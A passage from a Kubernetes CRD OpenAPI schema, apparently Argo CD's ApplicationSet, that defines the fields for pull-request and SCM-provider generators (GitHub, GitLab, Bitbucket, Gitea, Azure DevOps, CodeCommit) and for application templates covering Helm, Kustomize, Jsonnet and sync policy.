                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        required:
                        - configMapRef
                        type: object
                      pullRequest:
                        properties:
                          azuredevops:
                            properties:
                              api:
                                type: string
                              labels:
                                items:
                                  type: string
                                type: array
                              organization:
                                type: string
                              project:
                                type: string
                              repo:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - organization
                            - project
                            - repo
                            type: object
                          bitbucket:
                            properties:
                              api:
                                type: string
                              basicAuth:
                                properties:
                                  passwordRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                  username:
                                    type: string
                                required:
                                - passwordRef
                                - username
                                type: object
                              bearerToken:
                                properties:
                                  tokenRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                required:
                                - tokenRef
                                type: object
                              owner:
                                type: string
                              repo:
                                type: string
                            required:
                            - owner
                            - repo
                            type: object
                          bitbucketServer:
                            properties:
                              api:
                                type: string
                              basicAuth:
                                properties:
                                  passwordRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                  username:
                                    type: string
                                required:
                                - passwordRef
                                - username
                                type: object
                              bearerToken:
                                properties:
                                  tokenRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                required:
                                - tokenRef
                                type: object
                              caRef:
                                properties:
                                  configMapName:
                                    type: string
                                  key:
                                    type: string
                                required:
                                - configMapName
                                - key
                                type: object
                              insecure:
                                type: boolean
                              project:
                                type: string
                              repo:
                                type: string
                            required:
                            - api
                            - project
                            - repo
                            type: object
                          filters:
                            items:
                              properties:
                                branchMatch:
                                  type: string
                                targetBranchMatch:
                                  type: string
                              type: object
                            type: array
                          gitea:
                            properties:
                              api:
                                type: string
                              insecure:
                                type: boolean
                              labels:
                                items:
                                  type: string
                                type: array
                              owner:
                                type: string
                              repo:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - api
                            - owner
                            - repo
                            type: object
                          github:
                            properties:
                              api:
                                type: string
                              appSecretName:
                                type: string
                              labels:
                                items:
                                  type: string
                                type: array
                              owner:
                                type: string
                              repo:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - owner
                            - repo
                            type: object
                          gitlab:
                            properties:
                              api:
                                type: string
                              caRef:
                                properties:
                                  configMapName:
                                    type: string
                                  key:
                                    type: string
                                required:
                                - configMapName
                                - key
                                type: object
                              insecure:
                                type: boolean
                              labels:
                                items:
                                  type: string
                                type: array
                              project:
                                type: string
                              pullRequestState:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - project
                            type: object
                          requeueAfterSeconds:
                            format: int64
                            type: integer
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        type: object
                      scmProvider:
                        properties:
                          awsCodeCommit:
                            properties:
                              allBranches:
                                type: boolean
                              region:
                                type: string
                              role:
                                type: string
                              tagFilters:
                                items:
                                  properties:
                                    key:
                                      type: string
                                    value:
                                      type: string
                                  required:
                                  - key
                                  type: object
                                type: array
                            type: object
                          azureDevOps:
                            properties:
                              accessTokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                              allBranches:
                                type: boolean
                              api:
                                type: string
                              organization:
                                type: string
                              teamProject:
                                type: string
                            required:
                            - accessTokenRef
                            - organization
                            - teamProject
                            type: object
                          bitbucket:
                            properties:
                              allBranches:
                                type: boolean
                              appPasswordRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                              owner:
                                type: string
                              user:
                                type: string
                            required:
                            - appPasswordRef
                            - owner
                            - user
                            type: object
                          bitbucketServer:
                            properties:
                              allBranches:
                                type: boolean
                              api:
                                type: string
                              basicAuth:
                                properties:
                                  passwordRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                  username:
                                    type: string
                                required:
                                - passwordRef
                                - username
                                type: object
                              bearerToken:
                                properties:
                                  tokenRef:
                                    properties:
                                      key:
                                        type: string
                                      secretName:
                                        type: string
                                    required:
                                    - key
                                    - secretName
                                    type: object
                                required:
                                - tokenRef
                                type: object
                              caRef:
                                properties:
                                  configMapName:
                                    type: string
                                  key:
                                    type: string
                                required:
                                - configMapName
                                - key
                                type: object
                              insecure:
                                type: boolean
                              project:
                                type: string
                            required:
                            - api
                            - project
                            type: object
                          cloneProtocol:
                            type: string
                          filters:
                            items:
                              properties:
                                branchMatch:
                                  type: string
                                labelMatch:
                                  type: string
                                pathsDoNotExist:
                                  items:
                                    type: string
                                  type: array
                                pathsExist:
                                  items:
                                    type: string
                                  type: array
                                repositoryMatch:
                                  type: string
                              type: object
                            type: array
                          gitea:
                            properties:
                              allBranches:
                                type: boolean
                              api:
                                type: string
                              insecure:
                                type: boolean
                              owner:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - api
                            - owner
                            type: object
                          github:
                            properties:
                              allBranches:
                                type: boolean
                              api:
                                type: string
                              appSecretName:
                                type: string
                              organization:
                                type: string
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                            required:
                            - organization
                            type: object
                          gitlab:
                            properties:
                              allBranches:
                                type: boolean
                              api:
                                type: string
                              caRef:
                                properties:
                                  configMapName:
                                    type: string
                                  key:
                                    type: string
                                required:
                                - configMapName
                                - key
                                type: object
                              group:
                                type: string
                              includeSharedProjects:
                                type: boolean
                              includeSubgroups:
                                type: boolean
                              insecure:
                                type: boolean
                              tokenRef:
                                properties:
                                  key:
                                    type: string
                                  secretName:
                                    type: string
                                required:
                                - key
                                - secretName
                                type: object
                              topic:
                                type: string
                            required:
                            - group
                            type: object
                          requeueAfterSeconds:
                            format: int64
                            type: integer
                          template:
                            properties:
                              metadata:
                                properties:
                                  annotations:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  finalizers:
                                    items:
                                      type: string
                                    type: array
                                  labels:
                                    additionalProperties:
                                      type: string
                                    type: object
                                  name:
                                    type: string
                                  namespace:
                                    type: string
                                type: object
                              spec:
                                properties:
                                  destination:
                                    properties:
                                      name:
                                        type: string
                                      namespace:
                                        type: string
                                      server:
                                        type: string
                                    type: object
                                  ignoreDifferences:
                                    items:
                                      properties:
                                        group:
                                          type: string
                                        jqPathExpressions:
                                          items:
                                            type: string
                                          type: array
                                        jsonPointers:
                                          items:
                                            type: string
                                          type: array
                                        kind:
                                          type: string
                                        managedFieldsManagers:
                                          items:
                                            type: string
                                          type: array
                                        name:
                                          type: string
                                        namespace:
                                          type: string
                                      required:
                                      - kind
                                      type: object
                                    type: array
                                  info:
                                    items:
                                      properties:
                                        name:
                                          type: string
                                        value:
                                          type: string
                                      required:
                                      - name
                                      - value
                                      type: object
                                    type: array
                                  project:
                                    type: string
                                  revisionHistoryLimit:
                                    format: int64
                                    type: integer
                                  source:
                                    properties:
                                      chart:
                                        type: string
                                      directory:
                                        properties:
                                          exclude:
                                            type: string
                                          include:
                                            type: string
                                          jsonnet:
                                            properties:
                                              extVars:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                              libs:
                                                items:
                                                  type: string
                                                type: array
                                              tlas:
                                                items:
                                                  properties:
                                                    code:
                                                      type: boolean
                                                    name:
                                                      type: string
                                                    value:
                                                      type: string
                                                  required:
                                                  - name
                                                  - value
                                                  type: object
                                                type: array
                                            type: object
                                          recurse:
                                            type: boolean
                                        type: object
                                      helm:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          fileParameters:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                path:
                                                  type: string
                                              type: object
                                            type: array
                                          ignoreMissingValueFiles:
                                            type: boolean
                                          kubeVersion:
                                            type: string
                                          namespace:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                forceString:
                                                  type: boolean
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              type: object
                                            type: array
                                          passCredentials:
                                            type: boolean
                                          releaseName:
                                            type: string
                                          skipCrds:
                                            type: boolean
                                          skipSchemaValidation:
                                            type: boolean
                                          skipTests:
                                            type: boolean
                                          valueFiles:
                                            items:
                                              type: string
                                            type: array
                                          values:
                                            type: string
                                          valuesObject:
                                            type: object
                                            x-kubernetes-preserve-unknown-fields: true
                                          version:
                                            type: string
                                        type: object
                                      kustomize:
                                        properties:
                                          apiVersions:
                                            items:
                                              type: string
                                            type: array
                                          commonAnnotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          commonAnnotationsEnvsubst:
                                            type: boolean
                                          commonLabels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          components:
                                            items:
                                              type: string
                                            type: array
                                          forceCommonAnnotations:
                                            type: boolean
                                          forceCommonLabels:
                                            type: boolean
                                          ignoreMissingComponents:
                                            type: boolean
                                          images:
                                            items:
                                              type: string
                                            type: array
                                          kubeVersion:
                                            type: string
                                          labelIncludeTemplates:
                                            type: boolean
                                          labelWithoutSelector:
                                            type: boolean
                                          namePrefix:
                                            type: string
                                          nameSuffix:
                                            type: string
                                          namespace:
                                            type: string
                                          patches:
                                            items:
                                              properties:
                                                options:
                                                  additionalProperties:
                                                    type: boolean
                                                  type: object
                                                patch:
                                                  type: string
                                                path:
                                                  type: string
                                                target:
                                                  properties:
                                                    annotationSelector:
                                                      type: string
                                                    group:
                                                      type: string
                                                    kind:
                                                      type: string
                                                    labelSelector:
                                                      type: string
                                                    name:
                                                      type: string
                                                    namespace:
                                                      type: string
                                                    version:
                                                      type: string
                                                  type: object
                                              type: object
                                            type: array
                                          replicas:
                                            items:
                                              properties:
                                                count:
                                                  anyOf:
                                                  - type: integer
                                                  - type: string
                                                  x-kubernetes-int-or-string: true
                                                name:
                                                  type: string
                                              required:
                                              - count
                                              - name
                                              type: object
                                            type: array
                                          version:
                                            type: string
                                        type: object
                                      name:
                                        type: string
                                      path:
                                        type: string
                                      plugin:
                                        properties:
                                          env:
                                            items:
                                              properties:
                                                name:
                                                  type: string
                                                value:
                                                  type: string
                                              required:
                                              - name
                                              - value
                                              type: object
                                            type: array
                                          name:
                                            type: string
                                          parameters:
                                            items:
                                              properties:
                                                array:
                                                  items:
                                                    type: string
                                                  type: array
                                                map:
                                                  additionalProperties:
                                                    type: string
                                                  type: object
                                                name:
                                                  type: string
                                                string:
                                                  type: string
                                              type: object
                                            type: array
                                        type: object
                                      ref:
                                        type: string
                                      repoURL:
                                        type: string
                                      targetRevision:
                                        type: string
                                    required:
                                    - repoURL
                                    type: object
                                  sourceHydrator:
                                    properties:
                                      drySource:
                                        properties:
                                          path:
                                            type: string
                                          repoURL:
                                            type: string
                                          targetRevision:
                                            type: string
                                        required:
                                        - path
                                        - repoURL
                                        - targetRevision
                                        type: object
                                      hydrateTo:
                                        properties:
                                          targetBranch:
                                            type: string
                                        required:
                                        - targetBranch
                                        type: object
                                      syncSource:
                                        properties:
                                          path:
                                            type: string
                                          targetBranch:
                                            type: string
                                        required:
                                        - path
                                        - targetBranch
                                        type: object
                                    required:
                                    - drySource
                                    - syncSource
                                    type: object
                                  sources:
                                    items:
                                      properties:
                                        chart:
                                          type: string
                                        directory:
                                          properties:
                                            exclude:
                                              type: string
                                            include:
                                              type: string
                                            jsonnet:
                                              properties:
                                                extVars:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                                libs:
                                                  items:
                                                    type: string
                                                  type: array
                                                tlas:
                                                  items:
                                                    properties:
                                                      code:
                                                        type: boolean
                                                      name:
                                                        type: string
                                                      value:
                                                        type: string
                                                    required:
                                                    - name
                                                    - value
                                                    type: object
                                                  type: array
                                              type: object
                                            recurse:
                                              type: boolean
                                          type: object
                                        helm:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            fileParameters:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  path:
                                                    type: string
                                                type: object
                                              type: array
                                            ignoreMissingValueFiles:
                                              type: boolean
                                            kubeVersion:
                                              type: string
                                            namespace:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  forceString:
                                                    type: boolean
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                type: object
                                              type: array
                                            passCredentials:
                                              type: boolean
                                            releaseName:
                                              type: string
                                            skipCrds:
                                              type: boolean
                                            skipSchemaValidation:
                                              type: boolean
                                            skipTests:
                                              type: boolean
                                            valueFiles:
                                              items:
                                                type: string
                                              type: array
                                            values:
                                              type: string
                                            valuesObject:
                                              type: object
                                              x-kubernetes-preserve-unknown-fields: true
                                            version:
                                              type: string
                                          type: object
                                        kustomize:
                                          properties:
                                            apiVersions:
                                              items:
                                                type: string
                                              type: array
                                            commonAnnotations:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            commonAnnotationsEnvsubst:
                                              type: boolean
                                            commonLabels:
                                              additionalProperties:
                                                type: string
                                              type: object
                                            components:
                                              items:
                                                type: string
                                              type: array
                                            forceCommonAnnotations:
                                              type: boolean
                                            forceCommonLabels:
                                              type: boolean
                                            ignoreMissingComponents:
                                              type: boolean
                                            images:
                                              items:
                                                type: string
                                              type: array
                                            kubeVersion:
                                              type: string
                                            labelIncludeTemplates:
                                              type: boolean
                                            labelWithoutSelector:
                                              type: boolean
                                            namePrefix:
                                              type: string
                                            nameSuffix:
                                              type: string
                                            namespace:
                                              type: string
                                            patches:
                                              items:
                                                properties:
                                                  options:
                                                    additionalProperties:
                                                      type: boolean
                                                    type: object
                                                  patch:
                                                    type: string
                                                  path:
                                                    type: string
                                                  target:
                                                    properties:
                                                      annotationSelector:
                                                        type: string
                                                      group:
                                                        type: string
                                                      kind:
                                                        type: string
                                                      labelSelector:
                                                        type: string
                                                      name:
                                                        type: string
                                                      namespace:
                                                        type: string
                                                      version:
                                                        type: string
                                                    type: object
                                                type: object
                                              type: array
                                            replicas:
                                              items:
                                                properties:
                                                  count:
                                                    anyOf:
                                                    - type: integer
                                                    - type: string
                                                    x-kubernetes-int-or-string: true
                                                  name:
                                                    type: string
                                                required:
                                                - count
                                                - name
                                                type: object
                                              type: array
                                            version:
                                              type: string
                                          type: object
                                        name:
                                          type: string
                                        path:
                                          type: string
                                        plugin:
                                          properties:
                                            env:
                                              items:
                                                properties:
                                                  name:
                                                    type: string
                                                  value:
                                                    type: string
                                                required:
                                                - name
                                                - value
                                                type: object
                                              type: array
                                            name:
                                              type: string
                                            parameters:
                                              items:
                                                properties:
                                                  array:
                                                    items:
                                                      type: string
                                                    type: array
                                                  map:
                                                    additionalProperties:
                                                      type: string
                                                    type: object
                                                  name:
                                                    type: string
                                                  string:
                                                    type: string
                                                type: object
                                              type: array
                                          type: object
                                        ref:
                                          type: string
                                        repoURL:
                                          type: string
                                        targetRevision:
                                          type: string
                                      required:
                                      - repoURL
                                      type: object
                                    type: array
                                  syncPolicy:
                                    properties:
                                      automated:
                                        properties:
                                          allowEmpty:
                                            type: boolean
                                          enabled:
                                            type: boolean
                                          prune:
                                            type: boolean
                                          selfHeal:
                                            type: boolean
                                        type: object
                                      managedNamespaceMetadata:
                                        properties:
                                          annotations:
                                            additionalProperties:
                                              type: string
                                            type: object
                                          labels:
                                            additionalProperties:
                                              type: string
                                            type: object
                                        type: object
                                      retry:
                                        properties:
                                          backoff:
                                            properties:
                                              duration:
                                                type: string
                                              factor:
                                                format: int64
                                                type: integer
                                              maxDuration:
                                                type: string
                                            type: object
                                          limit:
                                            format: int64
                                            type: integer
                                        type: object
                                      syncOptions:
                                        items:
                                          type: string
                                        type: array
                                    type: object
                                required:
                                - destination
                                - project
                                type: object
                            required:
                            - metadata
                            - spec
                            type: object
                          values:
                            additionalProperties:
                              type: string
                            type: object
                        type: object
                      selector:
                        properties:
                          matchExpressions:
                            items:
                              properties:
                                key:
                                  type: string
                                operator:
                                  type: string
                                values:
                                  items:
                                    type: string
                                  type: array
                                  x-kubernetes-list-type: atomic
                              required:
                              - key
                              - operator
                              type: object
                            type: array
                            x-kubernetes-list-type: atomic
                          matchLabels:
                            additionalProperties:
                              type: string
                            type: object
                        type: object
                        x-kubernetes-map-type: atomic
                    type: object
                  type: array
                goTemplate:
                  type: boolean
                goTemplateOptions:
                  items:
                    type: string
                  type: array
                ignoreApplicationDifferences:
                  items:
                    properties:
                      jqPathExpressions:
